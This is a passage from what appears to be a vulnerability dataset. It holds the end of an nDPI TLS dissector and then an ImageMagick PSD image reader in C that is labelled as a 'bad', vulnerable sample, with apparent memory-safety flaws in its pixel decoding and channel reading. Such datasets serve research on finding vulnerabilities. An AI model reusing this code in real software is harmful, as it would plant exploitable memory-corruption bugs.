flow); else ndpi_search_tls_tcp(ndpi_struct, flow); } /* **************************************** */ void init_tls_dissector(struct ndpi_detection_module_struct *ndpi_struct, u_int32_t *id, NDPI_PROTOCOL_BITMASK *detection_bitmask) { ndpi_set_bitmask_protocol_detection("TLS", ndpi_struct, detection_bitmask, *id, NDPI_PROTOCOL_TLS, ndpi_search_tls_wrapper, NDPI_SELECTION_BITMASK_PROTOCOL_V4_V6_TCP_WITH_PAYLOAD_WITHOUT_RETRANSMISSION, SAVE_DETECTION_BITMASK_AS_UNKNOWN, ADD_TO_DETECTION_BITMASK); *id += 1; /* *************************************************** */ ndpi_set_bitmask_protocol_detection("TLS", ndpi_struct, detection_bitmask, *id, NDPI_PROTOCOL_TLS, ndpi_search_tls_wrapper, NDPI_SELECTION_BITMASK_PROTOCOL_V4_V6_UDP_WITH_PAYLOAD, SAVE_DETECTION_BITMASK_AS_UNKNOWN, ADD_TO_DETECTION_BITMASK); *id += 1; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_4217_0
crossvul-cpp_data_bad_5317_0
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % PPPP SSSSS DDDD % % P P SS D D % % PPPP SSS D D % % P SS D D % % P SSSSS DDDD % % % % % % Read/Write Adobe Photoshop Image Format % % % % Software Design % % Cristy % % Leonard Rosenthol % % July 1992 % % Dirk Lemstra % % December 2013 % % % % % % Copyright 1999-2016 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % http://www.imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "magick/studio.h" #include "magick/artifact.h" #include "magick/attribute.h" #include "magick/blob.h" #include "magick/blob-private.h" #include "magick/cache.h" #include "magick/channel.h" #include "magick/colormap.h" #include "magick/colormap-private.h" #include "magick/colorspace.h" #include "magick/colorspace-private.h" #include "magick/constitute.h" #include "magick/enhance.h" #include "magick/exception.h" #include "magick/exception-private.h" #include "magick/image.h" #include "magick/image-private.h" #include "magick/list.h" #include "magick/log.h" #include "magick/magick.h" #include "magick/memory_.h" #include "magick/module.h" #include "magick/monitor-private.h" #include "magick/option.h" #include "magick/pixel.h" #include "magick/pixel-accessor.h" #include "magick/profile.h" #include "magick/property.h" #include "magick/quantum-private.h" #include "magick/static.h" #include "magick/string_.h" #include "magick/thread-private.h" #ifdef MAGICKCORE_ZLIB_DELEGATE #include <zlib.h> #endif #include "psd-private.h" /* Define declaractions. */ #define MaxPSDChannels 56 #define PSDQuantum(x) (((ssize_t) (x)+1) & -2) /* Enumerated declaractions. */ typedef enum { Raw = 0, RLE = 1, ZipWithoutPrediction = 2, ZipWithPrediction = 3 } PSDCompressionType; typedef enum { BitmapMode = 0, GrayscaleMode = 1, IndexedMode = 2, RGBMode = 3, CMYKMode = 4, MultichannelMode = 7, DuotoneMode = 8, LabMode = 9 } PSDImageType; /* Typedef declaractions. */ typedef struct _ChannelInfo { short int type; size_t size; } ChannelInfo; typedef struct _MaskInfo { Image *image; RectangleInfo page; unsigned char background, flags; } MaskInfo; typedef struct _LayerInfo { ChannelInfo channel_info[MaxPSDChannels]; char blendkey[4]; Image *image; MaskInfo mask; Quantum opacity; RectangleInfo page; size_t offset_x, offset_y; unsigned char clipping, flags, name[256], visible; unsigned short channels; } LayerInfo; /* Forward declarations. */ static MagickBooleanType WritePSDImage(const ImageInfo *,Image *); /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % I s P S D % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % IsPSD()() returns MagickTrue if the image format type, identified by the % magick string, is PSD. % % The format of the IsPSD method is: % % MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) % % A description of each parameter follows: % % o magick: compare image format pattern against these bytes. % % o length: Specifies the length of the magick string. % */ static MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) { if (length < 4) return(MagickFalse); if (LocaleNCompare((const char *) magick,"8BPS",4) == 0) return(MagickTrue); return(MagickFalse); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadPSDImage() reads an Adobe Photoshop image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadPSDImage method is: % % Image *ReadPSDImage(image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static const char *CompositeOperatorToPSDBlendMode(CompositeOperator op) { const char *blend_mode; switch (op) { case ColorBurnCompositeOp: blend_mode = "idiv"; break; case ColorDodgeCompositeOp: blend_mode = "div "; break; case ColorizeCompositeOp: blend_mode = "colr"; break; case DarkenCompositeOp: blend_mode = "dark"; break; case DifferenceCompositeOp: blend_mode = "diff"; break; case DissolveCompositeOp: blend_mode = "diss"; break; case ExclusionCompositeOp: blend_mode = "smud"; break; case HardLightCompositeOp: blend_mode = "hLit"; break; case HardMixCompositeOp: blend_mode = "hMix"; break; case HueCompositeOp: blend_mode = "hue "; break; case LightenCompositeOp: blend_mode = "lite"; break; case LinearBurnCompositeOp: blend_mode = "lbrn"; break; case LinearDodgeCompositeOp:blend_mode = "lddg"; break; case LinearLightCompositeOp:blend_mode = "lLit"; break; case LuminizeCompositeOp: blend_mode = "lum "; break; case MultiplyCompositeOp: blend_mode = "mul "; break; case OverCompositeOp: blend_mode = "norm"; break; case OverlayCompositeOp: blend_mode = "over"; break; case PinLightCompositeOp: blend_mode = "pLit"; break; case SaturateCompositeOp: blend_mode = "sat "; break; case ScreenCompositeOp: blend_mode = "scrn"; break; case SoftLightCompositeOp: blend_mode = "sLit"; break; case VividLightCompositeOp: blend_mode = "vLit"; break; default: blend_mode = "norm"; break; } return(blend_mode); } /* For some reason Photoshop seems to blend semi-transparent pixels with white. This method reverts the blending. This can be disabled by setting the option 'psd:alpha-unblend' to off. */ static MagickBooleanType CorrectPSDAlphaBlend(const ImageInfo *image_info, Image *image, ExceptionInfo* exception) { const char *option; MagickBooleanType status; ssize_t y; if (image->matte == MagickFalse || image->colorspace != sRGBColorspace) return(MagickTrue); option=GetImageOption(image_info,"psd:alpha-unblend"); if (IsStringNotFalse(option) == MagickFalse) return(MagickTrue); status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { double gamma; gamma=QuantumScale*GetPixelAlpha(q); if (gamma != 0.0 && gamma != 1.0) { SetPixelRed(q,(GetPixelRed(q)-((1.0-gamma)*QuantumRange))/gamma); SetPixelGreen(q,(GetPixelGreen(q)-((1.0-gamma)*QuantumRange))/gamma); SetPixelBlue(q,(GetPixelBlue(q)-((1.0-gamma)*QuantumRange))/gamma); } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static inline CompressionType ConvertPSDCompression( PSDCompressionType compression) { switch (compression) { case RLE: return RLECompression; case ZipWithPrediction: case ZipWithoutPrediction: return ZipCompression; default: return NoCompression; } } static MagickBooleanType CorrectPSDOpacity(LayerInfo* layer_info, ExceptionInfo *exception) { MagickBooleanType status; ssize_t y; if (layer_info->opacity == OpaqueOpacity) return(MagickTrue); layer_info->image->matte=MagickTrue; status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(layer_info->image,layer_info->image,layer_info->image->rows,1) #endif for (y=0; y < (ssize_t) layer_info->image->rows; y++) { register PixelPacket *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(layer_info->image,0,y,layer_info->image->columns,1, exception); if (q == (PixelPacket *)NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) layer_info->image->columns; x++) { q->opacity=(Quantum) (QuantumRange-(Quantum) (QuantumScale*( (QuantumRange-q->opacity)*(QuantumRange-layer_info->opacity)))); q++; } if (SyncAuthenticPixels(layer_info->image,exception) == MagickFalse) status=MagickFalse; } return(status); } static ssize_t DecodePSDPixels(const size_t number_compact_pixels, const unsigned char *compact_pixels,const ssize_t depth, const size_t number_pixels,unsigned char *pixels) { #define CheckNumberCompactPixels \ if (packets == 0) \ return(i); \ packets-- #define CheckNumberPixels(count) \ if (((ssize_t) i + count) > (ssize_t) number_pixels) \ return(i); \ i+=count int pixel; register ssize_t i, j; size_t length; ssize_t packets; packets=(ssize_t) number_compact_pixels; for (i=0; (packets > 1) && (i < (ssize_t) number_pixels); ) { packets--; length=(size_t) (*compact_pixels++); if (length == 128) continue; if (length > 128) { length=256-length+1; CheckNumberCompactPixels; pixel=(*compact_pixels++); for (j=0; j < (ssize_t) length; j++) { switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(pixel >> 7) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 6) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 5) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 4) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 3) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 2) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 1) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(unsigned char) ((pixel >> 6) & 0x03); *pixels++=(unsigned char) ((pixel >> 4) & 0x03); *pixels++=(unsigned char) ((pixel >> 2) & 0x03); *pixels++=(unsigned char) ((pixel & 0x03) & 0x03); break; } case 4: { CheckNumberPixels(2); *pixels++=(unsigned char) ((pixel >> 4) & 0xff); *pixels++=(unsigned char) ((pixel & 0x0f) & 0xff); break; } default: { CheckNumberPixels(1); *pixels++=(unsigned char) pixel; break; } } } continue; } length++; for (j=0; j < (ssize_t) length; j++) { CheckNumberCompactPixels; switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(*compact_pixels >> 7) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 6) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 5) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 4) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 3) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 2) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 1) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(*compact_pixels >> 6) & 0x03; *pixels++=(*compact_pixels >> 4) & 0x03; *pixels++=(*compact_pixels >> 2) & 0x03; *pixels++=(*compact_pixels & 0x03) & 0x03; break; } case 4: { CheckNumberPixels(2); *pixels++=(*compact_pixels >> 4) & 0xff; *pixels++=(*compact_pixels & 0x0f) & 0xff; break; } default: { CheckNumberPixels(1); *pixels++=(*compact_pixels); break; } } compact_pixels++; } } return(i); } static inline LayerInfo *DestroyLayerInfo(LayerInfo *layer_info, const ssize_t number_layers) { ssize_t i; for (i=0; i<number_layers; i++) { if (layer_info[i].image != (Image *) NULL) layer_info[i].image=DestroyImage(layer_info[i].image); if (layer_info[i].mask.image != (Image *) NULL) layer_info[i].mask.image=DestroyImage(layer_info[i].mask.image); } return (LayerInfo *) RelinquishMagickMemory(layer_info); } static inline size_t GetPSDPacketSize(Image *image) { if (image->storage_class == PseudoClass) { if (image->colors > 256) return(2); else if (image->depth > 8) return(2); } else if (image->depth > 8) return(2); return(1); } static inline MagickSizeType GetPSDSize(const PSDInfo *psd_info,Image *image) { if (psd_info->version == 1) return((MagickSizeType) ReadBlobLong(image)); return((MagickSizeType) ReadBlobLongLong(image)); } static inline size_t GetPSDRowSize(Image *image) { if (image->depth == 1) return(((image->columns+7)/8)*GetPSDPacketSize(image)); else return(image->columns*GetPSDPacketSize(image)); } static const char *ModeToString(PSDImageType type) { switch (type) { case BitmapMode: return "Bitmap"; case GrayscaleMode: return "Grayscale"; case IndexedMode: return "Indexed"; case RGBMode: return "RGB"; case CMYKMode: return "CMYK"; case MultichannelMode: return "Multichannel"; case DuotoneMode: return "Duotone"; case LabMode: return "L*A*B"; default: return "unknown"; } } static void ParseImageResourceBlocks(Image *image, const unsigned char *blocks,size_t length, MagickBooleanType *has_merged_image) { const unsigned char *p; StringInfo *profile; unsigned int count, long_sans; unsigned short id, short_sans; if (length < 16) return; profile=BlobToStringInfo((const void *) NULL,length); SetStringInfoDatum(profile,blocks); (void) SetImageProfile(image,"8bim",profile); profile=DestroyStringInfo(profile); for (p=blocks; (p >= blocks) && (p < (blocks+length-16)); ) { if (LocaleNCompare((const char *) p,"8BIM",4) != 0) break; p=PushLongPixel(MSBEndian,p,&long_sans); p=PushShortPixel(MSBEndian,p,&id); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushLongPixel(MSBEndian,p,&count); if (p+count > blocks+length) return; switch (id) { case 0x03ed: { char value[MaxTextExtent]; unsigned short resolution; /* Resolution info. */ p=PushShortPixel(MSBEndian,p,&resolution); image->x_resolution=(double) resolution; (void) FormatLocaleString(value,MaxTextExtent,"%g", image->x_resolution); (void) SetImageProperty(image,"tiff:XResolution",value); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&resolution); image->y_resolution=(double) resolution; (void) FormatLocaleString(value,MaxTextExtent,"%g", image->y_resolution); (void) SetImageProperty(image,"tiff:YResolution",value); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); p=PushShortPixel(MSBEndian,p,&short_sans); image->units=PixelsPerInchResolution; break; } case 0x0421: { if (*(p+4) == 0) *has_merged_image=MagickFalse; p+=count; break; } default: { p+=count; break; } } if ((count & 0x01) != 0) p++; } return; } static CompositeOperator PSDBlendModeToCompositeOperator(const char *mode) { if (mode == (const char *) NULL) return(OverCompositeOp); if (LocaleNCompare(mode,"norm",4) == 0) return(OverCompositeOp); if (LocaleNCompare(mode,"mul ",4) == 0) return(MultiplyCompositeOp); if (LocaleNCompare(mode,"diss",4) == 0) return(DissolveCompositeOp); if (LocaleNCompare(mode,"diff",4) == 0) return(DifferenceCompositeOp); if (LocaleNCompare(mode,"dark",4) == 0) return(DarkenCompositeOp); if (LocaleNCompare(mode,"lite",4) == 0) return(LightenCompositeOp); if (LocaleNCompare(mode,"hue ",4) == 0) return(HueCompositeOp); if (LocaleNCompare(mode,"sat ",4) == 0) return(SaturateCompositeOp); if (LocaleNCompare(mode,"colr",4) == 0) return(ColorizeCompositeOp); if (LocaleNCompare(mode,"lum ",4) == 0) return(LuminizeCompositeOp); if (LocaleNCompare(mode,"scrn",4) == 0) return(ScreenCompositeOp); if (LocaleNCompare(mode,"over",4) == 0) return(OverlayCompositeOp); if (LocaleNCompare(mode,"hLit",4) == 0) return(HardLightCompositeOp); if (LocaleNCompare(mode,"sLit",4) == 0) return(SoftLightCompositeOp); if (LocaleNCompare(mode,"smud",4) == 0) return(ExclusionCompositeOp); if (LocaleNCompare(mode,"div ",4) == 0) return(ColorDodgeCompositeOp); if (LocaleNCompare(mode,"idiv",4) == 0) return(ColorBurnCompositeOp); if (LocaleNCompare(mode,"lbrn",4) == 0) return(LinearBurnCompositeOp); if (LocaleNCompare(mode,"lddg",4) == 0) return(LinearDodgeCompositeOp); if (LocaleNCompare(mode,"lLit",4) == 0) return(LinearLightCompositeOp); if (LocaleNCompare(mode,"vLit",4) == 0) return(VividLightCompositeOp); if (LocaleNCompare(mode,"pLit",4) == 0) return(PinLightCompositeOp); if (LocaleNCompare(mode,"hMix",4) == 0) return(HardMixCompositeOp); return(OverCompositeOp); } static inline void ReversePSDString(Image *image,char *p,size_t length) { char *q; if (image->endian == MSBEndian) return; q=p+length; for(--q; p < q; ++p, --q) { *p = *p ^ *q, *q = *p ^ *q, *p = *p ^ *q; } } static inline void SetPSDPixel(Image *image,const size_t channels, const ssize_t type,const size_t packet_size,const Quantum pixel, PixelPacket *q,IndexPacket *indexes,ssize_t x,ExceptionInfo *exception) { if (image->storage_class == PseudoClass) { if (packet_size == 1) SetPixelIndex(indexes+x,ScaleQuantumToChar(pixel)); else SetPixelIndex(indexes+x,ScaleQuantumToShort(pixel)); SetPixelRGBO(q,image->colormap+(ssize_t) ConstrainColormapIndex(image,GetPixelIndex(indexes+x))); return; } switch (type) { case -1: { SetPixelAlpha(q,pixel); break; } case -2: case 0: { SetPixelRed(q,pixel); if (channels == 1 || type == -2) { SetPixelGreen(q,GetPixelRed(q)); SetPixelBlue(q,GetPixelRed(q)); } break; } case 1: { if (image->storage_class == PseudoClass) SetPixelAlpha(q,pixel); else SetPixelGreen(q,pixel); break; } case 2: { if (image->storage_class == PseudoClass) SetPixelAlpha(q,pixel); else SetPixelBlue(q,pixel); break; } case 3: { if (image->colorspace == CMYKColorspace) SetPixelIndex(indexes+x,pixel); else if (image->matte != MagickFalse) SetPixelAlpha(q,pixel); break; } case 4: { if ((IssRGBCompatibleColorspace(image->colorspace) != MagickFalse) && (channels > 3)) break; if (image->matte != MagickFalse) SetPixelAlpha(q,pixel); break; } } } static MagickBooleanType ReadPSDChannelPixels(Image *image,const size_t channels, const size_t row,const ssize_t type,const unsigned char *pixels, ExceptionInfo *exception) { Quantum pixel; register const unsigned char *p; register IndexPacket *indexes; register PixelPacket *q; register ssize_t x; size_t packet_size; unsigned short nibble; p=pixels; q=GetAuthenticPixels(image,0,row,image->columns,1,exception); if (q == (PixelPacket *) NULL) return MagickFalse; indexes=GetAuthenticIndexQueue(image); packet_size=GetPSDPacketSize(image); for (x=0; x < (ssize_t) image->columns; x++) { if (packet_size == 1) pixel=ScaleCharToQuantum(*p++); else { p=PushShortPixel(MSBEndian,p,&nibble); pixel=ScaleShortToQuantum(nibble); } if (image->depth > 1) { SetPSDPixel(image,channels,type,packet_size,pixel,q++,indexes,x, exception); } else { ssize_t bit, number_bits; number_bits=image->columns-x; if (number_bits > 8) number_bits=8; for (bit=0; bit < number_bits; bit++) { SetPSDPixel(image,channels,type,packet_size,(((unsigned char) pixel) & (0x01 << (7-bit))) != 0 ? 0 : QuantumRange,q++,indexes,x++, exception); } if (x != image->columns) x--; continue; } } return(SyncAuthenticPixels(image,exception)); } static MagickBooleanType ReadPSDChannelRaw(Image *image,const size_t channels, const ssize_t type,ExceptionInfo *exception) { MagickBooleanType status; size_t count, row_size; ssize_t y; unsigned char *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RAW"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,row_size,pixels); if (count != row_size) break; status=ReadPSDChannelPixels(image,channels,y,type,pixels,exception); if (status == MagickFalse) break; } pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } static inline MagickOffsetType *ReadPSDRLEOffsets(Image *image, const PSDInfo *psd_info,const size_t size) { MagickOffsetType *offsets; ssize_t y; offsets=(MagickOffsetType *) AcquireQuantumMemory(size,sizeof(*offsets)); if(offsets != (MagickOffsetType *) NULL) { for (y=0; y < (ssize_t) size; y++) { if (psd_info->version == 1) offsets[y]=(MagickOffsetType) ReadBlobShort(image); else offsets[y]=(MagickOffsetType) ReadBlobLong(image); } } return offsets; } static MagickBooleanType ReadPSDChannelRLE(Image *image,const PSDInfo *psd_info, const ssize_t type,MagickOffsetType *offsets,ExceptionInfo *exception) { MagickBooleanType status; size_t length, row_size; ssize_t count, y; unsigned char *compact_pixels, *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RLE compressed"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); length=0; for (y=0; y < (ssize_t) image->rows; y++) if ((MagickOffsetType) length < offsets[y]) length=(size_t) offsets[y]; compact_pixels=(unsigned char *) AcquireQuantumMemory(length,sizeof(*pixels)); if (compact_pixels == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(compact_pixels,0,length*sizeof(*compact_pixels)); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,(size_t) offsets[y],compact_pixels); if (count != (ssize_t) offsets[y]) break; count=DecodePSDPixels((size_t) offsets[y],compact_pixels, (ssize_t) (image->depth == 1 ? 123456 : image->depth),row_size,pixels); if (count != (ssize_t) row_size) break; status=ReadPSDChannelPixels(image,psd_info->channels,y,type,pixels, exception); if (status == MagickFalse) break; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #ifdef MAGICKCORE_ZLIB_DELEGATE static MagickBooleanType ReadPSDChannelZip(Image *image,const size_t channels, const ssize_t type,const PSDCompressionType compression, const size_t compact_size,ExceptionInfo *exception) { MagickBooleanType status; register unsigned char *p; size_t count, length, packet_size, row_size; ssize_t y; unsigned char *compact_pixels, *pixels; z_stream stream; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is ZIP compressed"); compact_pixels=(unsigned char *) AcquireQuantumMemory(compact_size, sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); packet_size=GetPSDPacketSize(image); row_size=image->columns*packet_size; count=image->rows*row_size; pixels=(unsigned char *) AcquireQuantumMemory(count,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) { compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } ResetMagickMemory(&stream, 0, sizeof(z_stream)); stream.data_type=Z_BINARY; (void) ReadBlob(image,compact_size,compact_pixels); stream.next_in=(Bytef *)compact_pixels; stream.avail_in=(unsigned int) compact_size; stream.next_out=(Bytef *)pixels; stream.avail_out=(unsigned int) count; if(inflateInit(&stream) == Z_OK) { int ret; while (stream.avail_out > 0) { ret=inflate(&stream, Z_SYNC_FLUSH); if (ret != Z_OK && ret != Z_STREAM_END) { compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(MagickFalse); } } } if (compression == ZipWithPrediction) { p=pixels; while(count > 0) { length=image->columns; while(--length) { if (packet_size == 2) { p[2]+=p[0]+((p[1]+p[3]) >> 8); p[3]+=p[1]; } else *(p+1)+=*p; p+=packet_size; } p+=packet_size; count-=row_size; } } status=MagickTrue; p=pixels; for (y=0; y < (ssize_t) image->rows; y++) { status=ReadPSDChannelPixels(image,channels,y,type,p,exception); if (status == MagickFalse) break; p+=row_size; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #endif static MagickBooleanType ReadPSDChannel(Image *image,const PSDInfo *psd_info, LayerInfo* layer_info,const size_t channel, const PSDCompressionType compression,ExceptionInfo *exception) { Image *channel_image, *mask; MagickOffsetType offset; MagickBooleanType status; channel_image=image; mask=(Image *) NULL; if (layer_info->channel_info[channel].type < -1) { /* Ignore mask that is not a user supplied layer mask, if the mask is disabled or if the flags have unsupported values. */ if (layer_info->channel_info[channel].type != -2 || (layer_info->mask.flags > 3) || (layer_info->mask.flags & 0x02)) { SeekBlob(image,layer_info->channel_info[channel].size-2,SEEK_CUR); return(MagickTrue); } mask=CloneImage(image,layer_info->mask.page.width, layer_info->mask.page.height,MagickFalse,exception); mask->matte=MagickFalse; channel_image=mask; } offset=TellBlob(channel_image); status=MagickTrue; switch(compression) { case Raw: status=ReadPSDChannelRaw(channel_image,psd_info->channels, layer_info->channel_info[channel].type,exception); break; case RLE: { MagickOffsetType *offsets; offsets=ReadPSDRLEOffsets(channel_image,psd_info,channel_image->rows); if (offsets == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=ReadPSDChannelRLE(channel_image,psd_info, layer_info->channel_info[channel].type,offsets,exception); offsets=(MagickOffsetType *) RelinquishMagickMemory(offsets); } break; case ZipWithPrediction: case ZipWithoutPrediction: #ifdef MAGICKCORE_ZLIB_DELEGATE status=ReadPSDChannelZip(channel_image,layer_info->channels, layer_info->channel_info[channel].type,compression, layer_info->channel_info[channel].size-2,exception); #else SeekBlob(image,offset+layer_info->channel_info[channel].size-2,SEEK_SET); (void) ThrowMagickException(exception,GetMagickModule(), MissingDelegateWarning,"DelegateLibrarySupportNotBuiltIn", "'%s' (ZLIB)",image->filename); #endif break; default: SeekBlob(image,offset+layer_info->channel_info[channel].size-2,SEEK_SET); (void) ThrowMagickException(exception,GetMagickModule(),TypeWarning, "CompressionNotSupported","'%.20g'",(double) compression); break; } if (status == MagickFalse) { if (mask != (Image *) NULL) DestroyImage(mask); SeekBlob(image,offset+layer_info->channel_info[channel].size-2,SEEK_SET); ThrowBinaryException(CoderError,"UnableToDecompressImage", image->filename); } if (mask != (Image *) NULL) { if (status != MagickFalse) { MagickPixelPacket color; layer_info->mask.image=CloneImage(image,image->columns,image->rows, MagickTrue,exception); layer_info->mask.image->matte=MagickFalse; GetMagickPixelPacket(layer_info->mask.image,&color); color.red=layer_info->mask.background == 0 ? 0 : QuantumRange; color.green=color.red; color.blue=color.red; color.index=color.red; SetImageColor(layer_info->mask.image,&color); (void) CompositeImage(layer_info->mask.image,OverCompositeOp,mask, layer_info->mask.page.x,layer_info->mask.page.y); } DestroyImage(mask); } return(status); } static MagickBooleanType ReadPSDLayer(Image *image,const PSDInfo *psd_info, LayerInfo* layer_info,ExceptionInfo *exception) { char message[MaxTextExtent]; MagickBooleanType status; PSDCompressionType compression; ssize_t j; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " setting up new layer image"); (void) SetImageBackgroundColor(layer_info->image); layer_info->image->compose=PSDBlendModeToCompositeOperator( layer_info->blendkey); if (layer_info->visible == MagickFalse) { layer_info->image->compose=NoCompositeOp; (void) SetImageArtifact(layer_info->image,"psd:layer.invisible","true"); } if (psd_info->mode == CMYKMode) SetImageColorspace(layer_info->image,CMYKColorspace); if ((psd_info->mode == BitmapMode) || (psd_info->mode == GrayscaleMode) || (psd_info->mode == DuotoneMode)) SetImageColorspace(layer_info->image,GRAYColorspace); /* Set up some hidden attributes for folks that need them. */ (void) FormatLocaleString(message,MaxTextExtent,"%.20g", (double) layer_info->page.x); (void) SetImageArtifact(layer_info->image,"psd:layer.x",message); (void) FormatLocaleString(message,MaxTextExtent,"%.20g", (double) layer_info->page.y); (void) SetImageArtifact(layer_info->image,"psd:layer.y",message); (void) FormatLocaleString(message,MaxTextExtent,"%.20g",(double) layer_info->opacity); (void) SetImageArtifact(layer_info->image,"psd:layer.opacity",message); (void) SetImageProperty(layer_info->image,"label",(char *) layer_info->name); status=MagickTrue; for (j=0; j < (ssize_t) layer_info->channels; j++) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for channel %.20g",(double) j); compression=(PSDCompressionType) ReadBlobShort(layer_info->image); layer_info->image->compression=ConvertPSDCompression(compression); if (layer_info->channel_info[j].type == -1) layer_info->image->matte=MagickTrue; status=ReadPSDChannel(layer_info->image,psd_info,layer_info,j, compression,exception); InheritException(exception,&layer_info->image->exception); if (status == MagickFalse) break; } if (status != MagickFalse) status=CorrectPSDOpacity(layer_info,exception); if ((status != MagickFalse) && (layer_info->image->colorspace == CMYKColorspace)) status=NegateImage(layer_info->image,MagickFalse); if (status != MagickFalse && layer_info->mask.image != (Image *) NULL) { status=CompositeImage(layer_info->image,CopyOpacityCompositeOp, layer_info->mask.image,0,0); layer_info->mask.image=DestroyImage(layer_info->mask.image); } return(status); } ModuleExport MagickBooleanType ReadPSDLayers(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info, const MagickBooleanType skip_layers,ExceptionInfo *exception) { char type[4]; LayerInfo *layer_info; MagickSizeType size; MagickBooleanType status; register ssize_t i; ssize_t count, j, 